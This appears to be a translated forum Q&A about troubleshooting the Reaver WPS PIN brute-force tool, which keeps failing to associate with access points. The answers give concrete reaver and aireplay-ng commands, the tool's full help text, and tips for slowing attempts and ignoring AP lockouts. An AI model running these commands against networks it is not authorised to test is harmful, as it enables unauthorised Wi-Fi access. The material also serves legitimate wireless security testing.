O Reaver costumava funcionar tão fluentemente, estou tendo FALHA EM ASSOCIAR.

Question

Estou executando o debian mais recente com o amd64 em um Dell Inspiron 1564 com um adaptador Broadcom pci BCM4312 parte da família B43xx.

estou também executando a última versão do reaver agora eu sei que este adaptador que eu tenho não é amigável ao Linux, como ele não conseguiu instalar com o disco, ele me pediu algum arquivo fw mas de qualquer maneira eu tenho que trabalhar, eu posso navegar na web.

para minha pergunta Eu tenho sido capaz de quebrar meus modems aleatórios todos usando wps. desde que eu tenho este computador NENHUM!

o que acontece é que ele começa a associar, BAM, então ele começa a tentar BAM, depois de 1% - 4% ele começa a dar FAILED TO ASSOCIATE a cada minuto, pode fazer isso a noite toda

Eu tentei cerca de 15 modems diferentes e a mesma história

Existe um truque para contornar isso, talvez adicionar mais comandos para fazer algo que quase garantirá o sucesso?

obrigado

    

Answer 1

Rever é uma fera delicada que requer algum carinho para trabalhar. O mais provável é que o Access Point esteja atingindo o número máximo de tentativas alocadas em um período de tempo.

Você precisará desacelerar seu ataque.

Se você digitar reaver -h , poderá ver uma lista de todas as opções disponíveis.

Você precisará experimentar essas opções.

tente usar

-a (auto detect beset options)  
-d (give a long delay between requests)  
-r (sleep after so many attempts)  
-vv (very verbose, will show everything that is going on. You can then google any error messages you see)  
-x (time to sleep after 10 failures)  

Minha configuração padrão. Se isso não funcionar, começo a adicionar sinalizadores como -x ou -r.

reaver -i mono0 -c 1 -b <someMacAddress> -vv -a 

Página de ajuda

root@kali:/etc/apt# reaver -h

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

Required Arguments:
    -i, --interface=<wlan>          Name of the monitor-mode interface to use
    -b, --bssid=<mac>               BSSID of the target AP

Optional Arguments:
    -m, --mac=<mac>                 MAC of the host system
    -e, --essid=<ssid>              ESSID of the target AP
    -c, --channel=<channel>         Set the 802.11 channel for the interface (implies -f)
    -o, --out-file=<file>           Send output to a log file [stdout]
    -s, --session=<file>            Restore a previous session file
    -C, --exec=<command>            Execute the supplied command upon successful pin recovery
    -D, --daemonize                 Daemonize reaver
    -a, --auto                      Auto detect the best advanced options for the target AP
    -f, --fixed                     Disable channel hopping
    -5, --5ghz                      Use 5GHz 802.11 channels
    -v, --verbose                   Display non-critical warnings (-vv for more)
    -q, --quiet                     Only display critical messages
    -h, --help                      Show help

Advanced Options:
    -p, --pin=<wps pin>             Use the specified 4 or 8 digit WPS pin
    -d, --delay=<seconds>           Set the delay between pin attempts [1]
    -l, --lock-delay=<seconds>      Set the time to wait if the AP locks WPS pin attempts [60]
    -g, --max-attempts=<num>        Quit after num pin attempts
    -x, --fail-wait=<seconds>       Set the time to sleep after 10 unexpected failures [0]
    -r, --recurring-delay=<x:y>     Sleep for y seconds every x pin attempts
    -t, --timeout=<seconds>         Set the receive timeout period [5]
    -T, --m57-timeout=<seconds>     Set the M5/M7 timeout period [0.20]
    -A, --no-associate              Do not associate with the AP (association must be done by another application)
    -N, --no-nacks                  Do not send NACK messages when out of order packets are received
    -S, --dh-small                  Use small DH keys to improve crack speed
    -L, --ignore-locks              Ignore locked state reported by the target AP
    -E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet
    -n, --nack                      Target AP always sends a NACK [Auto]
    -w, --win7                      Mimic a Windows 7 registrar [False]

    

Answer 2

Basta fazer:

reaver with -N option

Não faça nada usando a opção -a no começo. Também tente associar com Aireplay.

Então faça isso:

reaver -i wlan0 -b 00:12:34:56:78 -vv -N -S -A

Simultaneamente, faça o seguinte:

aireplay-ng -1 5 -a 00:12:34:56:78 wlan0 

Se você tiver problemas com a associação com o AP, não tente usar o Aireplay-ng com -1 30 ou números maiores.